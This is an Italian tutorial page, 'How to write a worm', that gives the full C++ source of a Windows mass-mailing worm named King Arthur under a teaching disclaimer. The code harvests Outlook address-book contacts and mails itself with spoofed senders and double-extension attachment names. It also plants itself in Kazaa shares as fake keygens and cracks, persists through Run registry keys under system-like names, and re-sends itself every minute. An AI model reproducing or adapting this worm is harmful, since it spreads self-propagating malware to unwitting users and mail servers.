Come si scrive un worm

King Arthur è un worm a scopo dimostrativo

//King.Arthur
// ########-Disclaimer Legale-######
// Tutto il materiale qui presente è stato scritto a puro scopo didattico, l'autore non
// si assume nessuna responsabilità per le informazioni qui riportate e si pone come un
// aperto contrastatore della diffusione di trojan. Questo materiale può essere divulgato,
// modificato e chi vuole può pure metterci il prorpio nome, la gloria non fa per me!
// ##########################

//Compilato con Visual C++
//Queste le definizioni del preprocessore : WIN32,_DEBUG,WINDOWS
//Queste quelle del linker:
//kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib
//shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib
//kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib
//shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib
// /nologo /subsystem:windows /incremental:yes /pdb:"Debug/KingArthur.pdb"
// /debug /machine:I386 /out:"Debug/KingArthur.exe" /pdbtype:sept

#include <winsock.h>
#include <fstream.h>
#include <string.h>
#include <stdlib.h>
#include <windows.h>
#include <crtdbg.h>
#include <iostream.h>
#include <tlhelp32.h>    //accedo alla windows process list
#include <wab.h>        //wab32.dll, per leggere l'address book di outlook

//linking delle librerie richieste
#pragma comment(lib,"wsock32.lib")
#pragma comment(lib,"advapi32.lib")
#pragma comment(lib,"shell32.lib")
#pragma comment(lib,"user32.lib")
#pragma comment(lib,"gdi32.lib")

//destinazione degli encoded files
#define BASE64DESTFILE "C:\\ntldr.sys"

//timer di propagazione
#define WORMTIMER 60     //secondi


//****************************************************************************
//*
//* area variabili globali
//*
//****************************************************************************
//debug mode on/off (visualizza i messaggi durante l'esecuzione...)
boolean DBG=true;

//windows handler
HWND hwnd;

//winsock usato per la connessione
SOCKET sck;        //definisco la variabile sck di tipo socket
WORD version = MAKEWORD(1,1);
WSADATA wsaData;

SYSTEMTIME time;

typedef HRESULT (WINAPI *fWABOpen)(LPADRBOOK*,LPWABOBJECT*,LPWAB_PARAM,DWORD);

int nRet;

//buffer di stringhe per le funzioni dell'SMTP
char     Buf[256],myBuf[2048],ch[1],ch2[256],
         server[256],
         email[256],
         helo[256];

char     filename[MAX_PATH],
        winbkup[MAX_PATH],
        windows_dir[MAX_PATH],
        rcpt[MAX_PATH];

//buffer utilizzato per l'encoding routine BASE64
char cx[1],cx2[33],buc1[8],buc2[8],buc3[8],xxx[256];

int     i,err=0,c=0,connected=0,tim,sending=0;

double k;
DWORD basesize,ProcessId;

HINSTANCE hinstLib;

//****************************************************************************
//*
//* WndProc Callback Mette in comunicazione il sistema operativo con l'applicazione e specifica come l'applicazione deve rispondere ai vari eventi di Windows
//*
//****************************************************************************
LRESULT CALLBACK WndProc(HWND hWnd,UINT iMsg,WPARAM wParam,LPARAM lParam);


//****************************************************************************
//*
//* GetAsciiCode()
//* Usata da EncodeBase64()
//*
//****************************************************************************
int GetAsciiCode(char chr[1]) {
    int i=0;
    char c[1];
    for (i=0;i<257;i++) {
        c[0]=i;
        if (chr[0]==c[0])
            return(i);
    }
}

//****************************************************************************
//*
//* EncodeBase64()
//* ::Utilizza l'encoding in "base 64" per l'attach delle mail
//*
//****************************************************************************
void EncodeBase64(char *file) {
    WIN32_FIND_DATA fis;
    int i,j,n,done=0,k=0,lin=0;
    double c=0;
    char tmp[7];
    DWORD totsize;
    
    char base[64]={'A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P',
            'Q','R','S','T','U','V','W','X','Y','Z','a','b','c','d','e','f',
            'g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v',
            'w','x','y','z','0','1','2','3','4','5','6','7','8','9','+','/'};

    //ottengo la dimensione del file espressa in bytes
    fstream f(file,ios::in | ios::binary), g(BASE64DESTFILE,ios::out);
    FindFirstFile(file,&fis);
    totsize=fis.nFileSizeLow;    
    
    //faccio l'encode del file fino dividendolo in 3 parti
    for (c=0;c<totsize/3;c++) {
       
        buc1[0]=0;
        xxx[0]=0;
        f.get(cx[1]);
        j=GetAsciiCode(&cx[1]);
        itoa(j,cx2,2);
        if (strlen(cx2)<8) {
            for (i=0;i<8-strlen(cx2);i++) buc1[i]='0';
            buc1[i]=0;
            strcat(buc1,cx2);
        }
        else strcpy(buc1,cx2);
       
        buc2[0]=0;
        f.get(cx[1]);
        j=GetAsciiCode(&cx[1]);
        itoa(j,cx2,2);
        if (strlen(cx2)<8) {
            for (i=0;i<8-strlen(cx2);i++) buc2[i]='0';
            buc2[i]=0;
            strcat(buc2,cx2);
        }
        else strcpy(buc2,cx2);
       
        buc3[0]=0;
        f.get(cx[1]);
        j=GetAsciiCode(&cx[1]);
        itoa(j,cx2,2);
        if (strlen(cx2)<8) {
            for (i=0;i<8-strlen(cx2);i++) buc3[i]='0';
            buc3[i]=0;
            strcat(buc3,cx2);
        }
        else strcpy(buc3,cx2);
       
        xxx[0]=0;
        strcpy(xxx,buc1);
        done=0;
        k=0;
        while (done!=24) {
            for (i=done;i<done+6;i++) {
                tmp[k]=xxx[i];
                k++;
            }
            tmp[k]=0;
            done+=6;
            n=strtol(tmp,NULL,2);
            g<<base[n];
            lin++;
            if (lin==76) {
                g<<endl;lin=0;
            }
            tmp[0]=0;
            k=0;
        }

    }

    //se la prima parte è a sinistra
    if (totsize%3==1) {
        buc1[0]=0;
        f.get(cx[1]);
        j=GetAsciiCode(&cx[1]);
        itoa(j,cx2,2);
        if (strlen(cx2)<8) {
            for (i=0;i<8-strlen(cx2);i++) buc1[i]='0';
            buc1[i]=0;
            strcat(buc1,cx2);
        }
        else strcpy(buc1,cx2);
        strcat(buc1,"0000");
        done=0;
        k=0;
        while (done!=12) {
            for (i=done;i<done+6;i++) {
                tmp[k]=buc1[i];
                k++;
            }
            tmp[k]=0;
            done+=6;
            n=strtol(tmp,NULL,2);
            g<<base[n];
            lin++;
            if (lin==76) {
                g<<endl;lin=0;
            }
            tmp[0]=0;
            k=0;
        }
        g<<"==";
    }

    //se la seconda parte è a sinistra
    if (totsize%3==2) {
        buc1[0]=0;
        f.get(cx[1]);
        j=GetAsciiCode(&cx[1]);
        itoa(j,cx2,2);
        if (strlen(cx2)<8) {
            for (i=0;i<8-strlen(cx2);i++) buc1[i]='0';
            buc1[i]=0;
            strcat(buc1,cx2);
        } else strcpy(buc1,cx2);
        strcat(buc1,"00");
        done=0;
        k=0;
        while (done!=18) {
            for (i=done;i<done+6;i++) {
                tmp[k]=buc1[i];
                k++;
            }
            tmp[k]=0;
            done+=6;
            n=strtol(tmp,NULL,2);
            g<<base[n];
            lin++;
            if (lin==76) {
                g<<endl;lin=0;
            }
            tmp[0]=0;
            k=0;
            }
        g<<"=";
    }

    f.close();
    g.close();

    FindFirstFile(BASE64DESTFILE,&fis);
    basesize=fis.nFileSizeLow;
}

//****************************************************************************
//*
//* GetRandEmailAddr()
//* ::Prendo un indirizzo di email a caso dal file WAB usando WAB32.DLL API
//*
//****************************************************************************
void GetRandEmailAddr() {
    HRESULT hRes;
    LPADRBOOK lpAdrBook;
    LPWABOBJECT lpWABObject;
    LPWAB_PARAM lpWABParam = NULL;
    DWORD Reserved2 = NULL;

    fWABOpen procWABOpen;

    if (hinstLib != NULL)    {
        procWABOpen = (fWABOpen) GetProcAddress(hinstLib, "WABOpen");
        if (procWABOpen != NULL)  {
            hRes = (procWABOpen)(&lpAdrBook,&lpWABObject,NULL,Reserved2);
            _ASSERTE(hRes == S_OK);
            if (hRes != S_OK) exit(1);

            ULONG lpcbEntryID;
            ENTRYID *lpEntryID;
            hRes = lpAdrBook->GetPAB(
                &lpcbEntryID,
                &lpEntryID
            );
            _ASSERTE(hRes == S_OK);
            if (hRes != S_OK) exit(2);

            ULONG ulFlags = MAPI_BEST_ACCESS;
            ULONG ulObjType = NULL;
            LPUNKNOWN lpUnk = NULL;
            hRes = lpAdrBook->OpenEntry(
                lpcbEntryID,
                lpEntryID,
                NULL,
                ulFlags,
                &ulObjType,
                &lpUnk
            );

            ulFlags = NULL;
           
            if (ulObjType == MAPI_ABCONT)  {
                IABContainer *lpContainer = static_cast <IABContainer *>(lpUnk);
                LPMAPITABLE lpTable = NULL;
                hRes = lpContainer->GetContentsTable(
                    ulFlags,
                    &lpTable
                );
                _ASSERT(lpTable);
                ULONG ulRows;
                hRes = lpTable->GetRowCount(0,&ulRows);
                _ASSERTE(hRes == S_OK);
               
                SRowSet *lpRows;
                hRes = lpTable->QueryRows(
                    ulRows,        //prendo tutte le righe nella WAB address book
                    0,
                    &lpRows
                );
               
                //genero un numero casuale
                SYSTEMTIME time;
                GetSystemTime(&time);
                srand(time.wSecond);
                rand();
               
                //seleziono il numero casuale generato per estrarre un indirizzo e-mail dall'address book
                if(ulRows>0) {
                    int r = int(ulRows * rand()/(RAND_MAX + 1.0));
                    SRow *lpRow = &lpRows->aRow[r];

                    for(ULONG j=0;j<lpRow->cValues;j++) {
                        SPropValue *lpProp = &lpRow->lpProps[j];
                        if (lpProp->ulPropTag == PR_EMAIL_ADDRESS_A)
                            strcpy(rcpt,lpProp->Value.lpszA);
                    }
                    lpWABObject->FreeBuffer(lpRow);
                }
               
                lpWABObject->FreeBuffer(lpRows);
            }
        }
    }
}

//****************************************************************************
//*
//* SMTPEngine()
//* ::Invio un messaggio di email con il protocollo SMTP; Il worm è un attach MIME
//*
//****************************************************************************
void SMTPEngine() {
    //inizializzo il numero casuale generato
    //per scegliere un subjects, un sender ed un filename a caso
    SYSTEMTIME time;                                     
    GetSystemTime(&time);                                
    srand(time.wSecond);                                 
    rand();                                              

    //ottengo un indirizzo e mail valido dalla WAB address book
    strcpy(rcpt,"");
    GetRandEmailAddr();
    if(strlen(rcpt)>5) {
        //"HELO" SMTP server
        strcpy(myBuf, "HELO <");
        strcat(myBuf,helo);
        strcat(myBuf,">\x0d\x0a");
        send(sck,myBuf,strlen(myBuf),0);
        recv(sck,Buf,sizeof(Buf),0);

    
        //MAIL FROM
        if (Buf[0]=='2' && Buf[1]=='5' && Buf[2]=='0') {
            strcpy(myBuf, "MAIL FROM: <");
            strcat(myBuf,email);
            strcat(myBuf,">\x0d\x0a");
            send(sck,myBuf,strlen(myBuf),0);
            if(DBG) MessageBox(hwnd,myBuf,"DEBUG - SMTPEngine()",MB_OK);    
            recv(sck,Buf,sizeof(Buf),0);
        }
        if (Buf[0]=='4' || Buf[0]=='5') err=1;

        //RCPT TO
        if (Buf[0]=='2' && Buf[1]=='5' && Buf[2]=='0' && err==0) {
            strcpy(myBuf, "RCPT TO: <");
            strcat(myBuf, rcpt);
            strcat(myBuf, ">\x0d\x0a");
            send(sck,myBuf,strlen(myBuf),0);
            if(DBG) MessageBox(hwnd,myBuf,"DEBUG - SMTPEngine()",MB_OK);    
            recv(sck,Buf,sizeof(Buf),0);
        }
        if (Buf[0]=='4' || Buf[0]=='5') err=1;

        //DATA
        if (Buf[0]=='2' && Buf[1]=='5' && err==0) {
            strcpy(myBuf, "DATA\x0d\x0a");
            send(sck,myBuf,strlen(myBuf),0);
            recv(sck,Buf,sizeof(Buf),0);
        }
        if (Buf[0]=='4' || Buf[0]=='5') err=1;

        //MAIL BODY
        if (Buf[0]=='3' && Buf[1]=='5' && Buf[2]=='4' && err==0) {
            strcpy(myBuf, "Message-ID: <00d601c3fa5e$479cbc30$ Questo indirizzo e-mail è protetto dallo spam bot. Abilita Javascript per vederlo. >\x0d\x0a");
            send(sck,myBuf,strlen(myBuf),0);

            //sceglie un sender a caso
            int r = int(3 * rand()/(RAND_MAX + 1.0));
           
            //usa un indirizzo MAIL DELIVERY SERVICE generico
            if(r==2) {
                strcpy(myBuf, "From: \"Mail Delivery Service\" <postmaster@");
                strcat(myBuf, server);
                strcat(myBuf, ">\x0d\x0a");
            }
            //usa un indirizzo reale per infettare l'host
            if(r==1) {
                strcpy(myBuf, "From: <");
                strcat(myBuf, email);
                strcat(myBuf, ">\x0d\x0a");        
            }
            //usa "info@<mailserver>" address
            if(r==0) {
                strcpy(myBuf, "From: \"info\" <info@");
                strcat(myBuf, server);
                strcat(myBuf, ">\x0d\x0a");        
                }
           
            send(sck,myBuf,strlen(myBuf),0);

            //recipient
            strcpy(myBuf, "To: <");
            strcat(myBuf, rcpt);
            strcat(myBuf, ">\x0d\x0a");
            send(sck,myBuf,strlen(myBuf),0);
    
            //sceglie un soggetto a caso
            if(r==2) strcpy(myBuf, "Subject: Delivery Status Notification\x0d\x0a");
            if(r==1) strcpy(myBuf, "Subject: RE: image\x0d\x0a");
            if(r==0) strcpy(myBuf, "Subject: Account Information Request\x0d\x0a");
            send(sck,myBuf,strlen(myBuf),0);
    
            strcpy(myBuf, "MIME-Version: 1.0\x0d\x0a");
            send(sck,myBuf,strlen(myBuf),0);

            strcpy(myBuf, "Content-Type: multipart/mixed; boundary=\"NextPart_25462232\"\x0d\x0a");
            send(sck,myBuf,strlen(myBuf),0);

            strcpy(myBuf, "X-Priority: 3\x0d\x0a");
            send(sck,myBuf,strlen(myBuf),0);

            strcpy(myBuf, "X-MSMail-Priority: Normal\x0d\x0a");
            send(sck,myBuf,strlen(myBuf),0);

            strcpy(myBuf, "X-Mailer: Microsoft Outlook Express 6.00.2800.1158\x0d\x0a\x0d\x0a");
            send(sck,myBuf,strlen(myBuf),0);

            strcpy(myBuf, "This is a multi-part message in MIME format.\x0d\x0a\x0d\x0a");
            send(sck,myBuf,strlen(myBuf),0);

            //corpo del messaggio
            strcpy(myBuf, "--NextPart_25462232\x0d\x0a");
            send(sck,myBuf,strlen(myBuf),0);

            strcpy(myBuf, "Content-Type: text/plain; charset=us-ascii\x0d\x0a");
            send(sck,myBuf,strlen(myBuf),0);

            strcpy(myBuf, "Content-Transfer-Encoding: 7bit\x0d\x0a\x0d\x0a");
            send(sck,myBuf,strlen(myBuf),0);
       
            if(r==2) strcpy(myBuf, "This recipient of your message has \x0d\x0a not been processed by the mail server: <root@localhost> - Failed (5.7.0);\x0d\x0a");
            if(r==1) strcpy(myBuf, "This picture was taken \x0d\x0a with my new phone, look it!\x0d\x0a");
            if(r==0) strcpy(myBuf, "You can read this document \x0d\x0a using Microsoft Word\x0d\x0a");
            send(sck,myBuf,strlen(myBuf),0);
       
            //spoof del tipo di attach
            strcpy(myBuf, "--NextPart_25462232\x0d\x0a");
            send(sck,myBuf,strlen(myBuf),0);

            //spoof dell'attach di tipo zip
            if(r==2) {
                strcpy(myBuf,"Subject:msg067.zip                                                                                                                                                                                                                                                     .exe\x0d\x0a");
                send(sck,myBuf,strlen(myBuf),0);
                strcpy(myBuf,"Content-Type: application/x-zip-compressed\x0d\x0a");
                send(sck,myBuf,strlen(myBuf),0);
            }    
           
            //spoof dell'attach di tipo jpg
            if(r==1) {
                strcpy(myBuf,"Subject:img042.jpg                                                                                                                                                                                                                                                     .exe\x0d\x0a");
                send(sck,myBuf,strlen(myBuf),0);
                strcpy(myBuf,"Content-Type: image/jpeg\x0d\x0a");
                send(sck,myBuf,strlen(myBuf),0);
            }
           
            //spoof dell'attach di tipo MS-WORD
            if(r==0) {
                strcpy(myBuf,"Subject:doc004.doc                                                                                                                                                                                                                                                     .exe\x0d\x0a");
                send(sck,myBuf,strlen(myBuf),0);
                strcpy(myBuf,"Content-Type: application/msword\x0d\x0a");
                send(sck,myBuf,strlen(myBuf),0);
            }    
            strcpy(myBuf, "Content-Transfer-Encoding: base64\x0d\x0a\x0d\x0a");
            send(sck,myBuf,strlen(myBuf),0);
           
            //invio il file byte x byte
            fstream f(BASE64DESTFILE,ios::in);
            for (k=0;k<basesize;k++) {
                f.get(ch[1]);
                strcpy(myBuf,&ch[1]);
                send(sck,myBuf,strlen(myBuf),0);
            }
            f.close();

            strcpy(myBuf, "\x0d\x0a--12345--\x0d\x0a");
            send(sck,myBuf,strlen(myBuf),0);

            strcpy(myBuf, "\x0d\x0a.\x0d\x0a");
            send(sck,myBuf,strlen(myBuf),0);

            recv(sck,Buf,sizeof(Buf),0);
        }
        if (Buf[0]=='4' || Buf[0]=='5') err=1;

        //ESCO
        strcpy(myBuf, "QUIT\x0d\x0a");
        send(sck,myBuf,strlen(myBuf),0);
    }
}

//****************************************************************************
//*
//* GetProcessModule()
//* ::Gestione del processo
//*
//****************************************************************************
bool GetProcessModule (DWORD dwPID, DWORD dwModuleID, LPMODULEENTRY32 lpMe32, DWORD cbMe32) {
    BOOL          bRet        = FALSE;
    BOOL          bFound      = FALSE;
    HANDLE        hModuleSnap = NULL;     
 
    //prendo uno snapshot di tutti i moduli
    hModuleSnap =  CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, dwPID);
    if (hModuleSnap == INVALID_HANDLE_VALUE)
        return (FALSE);
 
    //riempio la struttura prima di usarla.
    lpMe32->dwSize = sizeof(MODULEENTRY32);
 
    // Walk the module list of the process, and find the module of
    // interest. Then copy the information to the buffer pointed
    // to by lpMe32 so that it can be returned to the caller.
    Module32First(hModuleSnap, lpMe32);
    CloseHandle (hModuleSnap);
 
    return (1);
}


//****************************************************************************
//*
//* GetWormExecutionPath()
//* ::Ottengo la path dell'eseguibile
//*
//****************************************************************************
bool GetWormExecutionPath() {
    HANDLE         hProcessSnap = NULL;
    BOOL           bRet      = FALSE;
    PROCESSENTRY32 pe32      = {0};
    
    hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);

    if (hProcessSnap == (HANDLE)-1)
        return (FALSE);

    pe32.dwSize = sizeof(PROCESSENTRY32);

    if (Process32First(hProcessSnap, &pe32)) {
        DWORD         dwPriorityClass;
        BOOL          bGotModule = FALSE;
        MODULEENTRY32 me32       = {0};

    //loop nella Windows Process list fino a chè il processID viene trovato
    //prendo il nome del file
        do
        {
            bGotModule = GetProcessModule(pe32.th32ProcessID, pe32.th32ModuleID, &me32, sizeof(MODULEENTRY32));
            if (bGotModule) {
        if (me32.th32ProcessID==ProcessId)
            strcpy(filename,me32.szExePath);
            }
        }
        while (Process32Next(hProcessSnap, &pe32));
        bRet = TRUE;
    }
    else
        bRet = FALSE;

    CloseHandle (hProcessSnap);
    return (bRet);
}


//****************************************************************************
//*
//* ReadMailConf()
//* ::Leggo la configurazione della mail dal registro di Windows (smtp server, sender account)
//*
//****************************************************************************
void ReadMailConf() {
    int i,j;
    char key2[256];
    unsigned char acc[1024],smtp[1024],eml[1024];
    DWORD acclen=sizeof(acc), smtplen=sizeof(smtp), emllen=sizeof(eml);
    HKEY hKey;

    //ottengo l'SMTP server dal registro
    strcpy(key2,"Software\\Microsoft\\Internet Account Manager");
    RegOpenKeyEx(HKEY_CURRENT_USER,key2,0,KEY_QUERY_VALUE,&hKey);
    RegQueryValueEx(hKey,"Default Mail Account",0,NULL,acc,&acclen);
    RegCloseKey(hKey);
    strcpy(key2,"Software\\Microsoft\\Internet Account Manager\\Accounts\\");
    j=strlen(key2);
    for (i=0;i<8;i++){
        key2[j+i]=acc[i];
    }
    key2[j+i]=0;
    RegOpenKeyEx(HKEY_CURRENT_USER,key2,0,KEY_QUERY_VALUE,&hKey);
    RegQueryValueEx(hKey,"SMTP Server",0,NULL,smtp,&smtplen);
    RegCloseKey(hKey);
    if (smtp[0]>44 && smtp[0]<123) {
        i=0;
        while (smtp[i]!=0) {
            server[i]=smtp[i]; //adesso questo è l'SMTP server
            i++;    
        }
        server[i]=0;
       
        //ottengo l'e-mail
        RegOpenKeyEx(HKEY_CURRENT_USER,key2,0,KEY_QUERY_VALUE,&hKey);
        RegQueryValueEx(hKey,"SMTP Email Address",0,NULL,eml,&emllen);
        RegCloseKey(hKey);

        if (eml[0]>44 && eml[0]<123) {
            i=0;
            while (eml[i]!=0) {
                email[i]=eml[i]; //adesso questo è il "FROM:" e-mail
                i++;
            }
        email[i]=0;
        }

        //setto un nuovo "HELO" domain
        i=strlen(email)-1;
        j=0;
        while (email[i]!='@') {
            helo[j]=email[i];
            j++;
            i--;
            }
        }
        helo[j]=0;
        strrev(helo);
        //end
}


//****************************************************************************
//*
//* TrySocketConn()
//* ::Provo a connettermi con l'SMTP server e se avviene invio il worm x e-mail
//*
//****************************************************************************
int TrySocketConn(HWND hwnd) {
    ReadMailConf();
    if(DBG) MessageBox(hwnd,server,"DEBUG - SMTP Server:",MB_OK);
    if(DBG) MessageBox(hwnd,email,"DEBUG - Sender e-mail:",MB_OK);
    
    if(DBG) MessageBox(hwnd,"Connecting to SMTP server...","DEBUG",MB_OK);

    //avvio il Winsock
    i=WSAStartup(version, &wsaData);
    if (i!=0)
        return(0);

    LPHOSTENT lpHostEntry;
    lpHostEntry = gethostbyname(server);

    if (lpHostEntry == NULL) {
        WSACleanup();
        connected=0;
        return(0);
    }
    else connected=1; //ciò significa che siamo connessi

    //creo il socket
    sck = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);    
    if (sck == INVALID_SOCKET) {
        WSACleanup();
        connected=0;
        return(0);
    }

    SOCKADDR_IN saServer;
    saServer.sin_family = AF_INET;
    saServer.sin_addr = *((LPIN_ADDR)*lpHostEntry->h_addr_list);
    saServer.sin_port = htons(25);

    // Connessione al server
    nRet = connect(sck,(LPSOCKADDR)&saServer,sizeof(struct sockaddr));    
    if (nRet == SOCKET_ERROR) {
        WSACleanup();
        connected=0;
        return(0);
    }

    nRet = recv(sck,Buf,sizeof(Buf),0);            
    if (nRet == SOCKET_ERROR) {
        WSACleanup();
        connected=0;
        return(0);
    }

    if (Buf[0]=='4' || Buf[0]=='5')
        err=1;
    
    if (Buf[0]=='2' && Buf[1]=='2' && Buf[2]=='0') {
        if(DBG) MessageBox(hwnd,"Sending worm mail","DEBUG",MB_OK);
        err=0;
        sending=1;
        SMTPEngine();
        sending=0;
    }

    //chiudo la connessione
    closesocket(sck);

    //shutdown Winsock
    WSACleanup();
}

//****************************************************************************
//*
//* InfectP2P()
//* ::Propaga il worm tramite Kazaa con un nomr file a caso
//*
//****************************************************************************
void InfectP2P(char *file) {
    int i;
    char kaza[256]="";
    char kfile[7][50];
    unsigned char kpth[1024];
    DWORD kpthlen=sizeof(kpth);
    HKEY hKey;

    //fake-filenames usato dal worm
    strcpy(kfile[0],"\\DVDDecrypter3160.exe\x00");
    strcpy(kfile[1],"\\nero6keygen.exe\x00");
    strcpy(kfile[2],"\\WinXPcrack.exe\x00");
    strcpy(kfile[3],"\\OfficeXPcrack.exe\x00");
    strcpy(kfile[4],"\\DivX512Bundle.exe\x00");
    strcpy(kfile[5],"\\Winrar30keygen.exe\x00");
    strcpy(kfile[6],"\\Keygen.exe\x00");
    
    //ottengo la transfer directory di Kazaa dal registry
    RegOpenKeyEx(HKEY_CURRENT_USER,"Software\\Kazaa\\Transfer",0,KEY_QUERY_VALUE,&hKey);
    RegQueryValueEx(hKey,"DlDir0",0,NULL,kpth,&kpthlen);
    RegCloseKey(hKey);

    if (kpth[0]>64 && kpth[0]<123) {
        i=0;                        
        while (kpth[i]!=0) {
            kaza[i]=kpth[i];
            i++;
        }
    }

    //scelgo un filename a caso
    GetSystemTime(&time);
    srand(time.wSecond);
    rand();
    int r = int(6 * rand()/(RAND_MAX + 1.0));
    strcat(kaza,kfile[r]);
    
    //copio il file infettato nella directory share di Kazaa
    if(DBG) MessageBox(hwnd,kaza,"DEBUG - Kazaa Infected File",MB_OK);    
    CopyFile(file,kaza,FALSE);
}

//****************************************************************************
//*
//* InfectWin()
//* ::Installo il worm nella Windows folder e nel Registry
//*
//****************************************************************************
void InfectWin(char *file) {
    HKEY HKrun;
    unsigned char val[256];
    char rnd[6];
    int i=0;

    //leggo la directory di windows
    strcpy(winbkup,windows_dir);
    
    //seleziono a caso un nome per il file worm
    GetSystemTime(&time);
    srand(time.wSecond);
    rand();
    int r = int(4 * rand()/(RAND_MAX + 1.0));
    if(r==3) strcat(winbkup,"\\System32\\lsa.exe");
    if(r==2) strcat(winbkup,"\\System32\\srvhost.exe");
    if(r==1) strcat(winbkup,"\\System32\\userini.exe");
      if(r==0) strcat(winbkup,"\\System32\\regsvr16.exe");
         
    //copio il file worm nella directory windows\system32
    CopyFile(file,winbkup,TRUE);

    while (winbkup[i]!=0) {
        val[i]=winbkup[i];
        i++;
    }

    val[i]=0;
    
    //seleziono a caso una chiave di registro per lo startup del worm
    if (rand()%2==0) {
        RegCreateKey(HKEY_CURRENT_USER,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&HKrun);
        RegSetValueEx(HKrun,"svchost",0,REG_SZ,val,sizeof(val));
        RegCloseKey(HKrun);
    }
     else {
        RegCreateKey(HKEY_CURRENT_USER,"Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows",&HKrun);
        RegSetValueEx(HKrun,"load",0,REG_SZ,val,sizeof(val));
        RegCloseKey(HKrun);
     }
 }

//****************************************************************************
//*
//* TimerProc()
//* ::procedura timer viene chiamata ogni volta che uso la variabile WORMTIMER
//*
//****************************************************************************
void CALLBACK TimerProc(HWND hwnd,UINT uMsg,UINT idEvent,DWORD dwTime) {
if(DBG) MessageBox(hwnd,"Cyclic Worm Routine...","DEBUG",MB_OK);
    if (sending==0) { //Controllo che la posta non sia in delivery status
        TrySocketConn(hwnd);
    }
}

//****************************************************************************
//*
//* PayLoad()
//* ::Ad una determinata data scateno questo codice
//*
//****************************************************************************
void PayLoad() {
    MessageBox(NULL,"KingArthur is active on this computer","Warning!",MB_OK+MB_SYSTEMMODAL);
}



//****************************************************************************
//*
//* WinMain()
//*
//****************************************************************************
int WINAPI WinMain(HINSTANCE hInstance,HINSTANCE hPrevInst,LPSTR lpCmdLine,int nShowCmd){
    WNDCLASSEX wndc;
    MSG msg;    
    HKEY HKinfmark;
    unsigned char buf[1024],inf[]="yes";    //marco l'infezione nel registry
    DWORD buflen=sizeof(buf);

    //creo una standard window per l'applicazione
    wndc.cbClsExtra = 0;
    wndc.cbSize = sizeof(wndc);
    wndc.cbWndExtra = 0;
    wndc.hbrBackground = (HBRUSH)GetStockObject(BLACK_BRUSH);
    wndc.hCursor = LoadCursor(NULL,IDC_ARROW);
    wndc.hIcon = LoadIcon(NULL,IDI_APPLICATION);
    wndc.hIconSm = LoadIcon(NULL,IDI_APPLICATION);
    wndc.hInstance = hInstance;
    wndc.lpfnWndProc = WndProc;
    wndc.lpszClassName = "ClassName";
    wndc.lpszMenuName = NULL;
    wndc.style = CS_HREDRAW|CS_VREDRAW;
    RegisterClassEx(&wndc);
    hwnd =CreateWindow("ClassName","Windows",WS_POPUPWINDOW,0,0,1024,1024,NULL,NULL,hInstance,NULL);
    UpdateWindow(hwnd);

    //nascondo la finestra
    ShowWindow(hwnd,SW_HIDE);
    if(DBG) MessageBox(hwnd,"Worm Window created and hidden","DEBUG",MB_OK);

    //controllo il time corrente per l'attivazione della funzione di payload
    if(DBG) MessageBox(hwnd,"Payload Activation Check","DEBUG",MB_OK);
    GetSystemTime(&time);
    
    if (time.wMonth==7)    //se il mese è Luglio
        PayLoad();
    
    else {    
       
        //ottengo il nome per l'eseguibile del worm
        GetWindowThreadProcessId(hwnd,&ProcessId);
        GetWormExecutionPath();
        if(DBG) MessageBox(hwnd,filename,"DEBUG - Get Worm Process Path",MB_OK);
       
        //ottengo la windows dir
        GetWindowsDirectory (windows_dir, sizeof (windows_dir));

        //faccio l'encode del worm in base64 e lo metto nel BASE64DESTFILE
        EncodeBase64(filename);
        if(DBG) MessageBox(hwnd,BASE64DESTFILE,"DEBUG - Encode worm to base64 file",MB_OK);
    
        //controllo se il worm è già presente nel computer
        RegOpenKeyEx(HKEY_LOCAL_MACHINE,"Software\\KingArthur",0,KEY_QUERY_VALUE,&HKinfmark);
        RegQueryValueEx(HKinfmark,"Inf",0,NULL,buf,&buflen);
        RegCloseKey(HKinfmark);
    
        //ottengo la directoy %ProgramFiles% e
        //la collego alla path di WAB32.DLL
        char progdir[MAX_PATH];
        GetEnvironmentVariable ("ProgramFiles", progdir, MAX_PATH);
        strcat(progdir,"\\Common Files\\System\\wab32");
        if(DBG) MessageBox(hwnd,progdir,"DEBUG - Get WAB.DLL Dir",MB_OK);
        hinstLib = LoadLibrary(progdir);
    
        //se questa è la prima infezione, contrassegno questo computer come infetto
        //usando la chiave di registro HKLM\Microsoft\Inf
        //infetto il computer e il peer to peer
        if (buf[0]!='y' || buf[1]!='e' || buf[2]!='s')    {
            if(DBG) MessageBox(hwnd,"Infection Mark not Found in registry","DEBUG",MB_OK);
       
            //creo una chiave di registro per contrassegnare il pc come infetto
            RegCreateKey(HKEY_LOCAL_MACHINE,"Software\\KingArthur",&HKinfmark);
            RegSetValueEx(HKinfmark,"Inf",0,REG_SZ,inf,sizeof(inf));
            RegCloseKey(HKinfmark);

            InfectWin(filename);

            InfectP2P(filename);

            //messaggio fasullo dopo l'esecuzione del worm
            MessageBox(hwnd,"EXPLORER.EXE has performed an illegal operation","Error",MB_OK+MB_ICONSTOP);
        }

        //sono residente e faccio girare la routine worm per l'infezione ogni WORMTIMER secondi
        if(DBG) MessageBox(hwnd,"Stay resident with a cyclic timer","DEBUG",MB_OK);
        SetTimer(hwnd,tim,WORMTIMER*1000,TimerProc);    
    }
       
    while(GetMessage(&msg,NULL,0,0)) {
        TranslateMessage(&msg);
        DispatchMessage(&msg);
    }

    FreeLibrary(hinstLib);
    return msg.wParam;

}
    

//****************************************************************************
//*
//* WndProc callback function
//*
//****************************************************************************
LRESULT CALLBACK WndProc(HWND hwnd,UINT iMsg,WPARAM wParam,LPARAM lParam) {
    HDC hdc;
    PAINTSTRUCT ps;

    switch(iMsg){
    case WM_PAINT:
        hdc = BeginPaint(hwnd,&ps);
        EndPaint(hwnd,&ps);
        return 0;
    case WM_DESTROY:
        PostQuitMessage(0);
        return 0;
    }
    return DefWindowProc(hwnd,iMsg,wParam,lParam);
}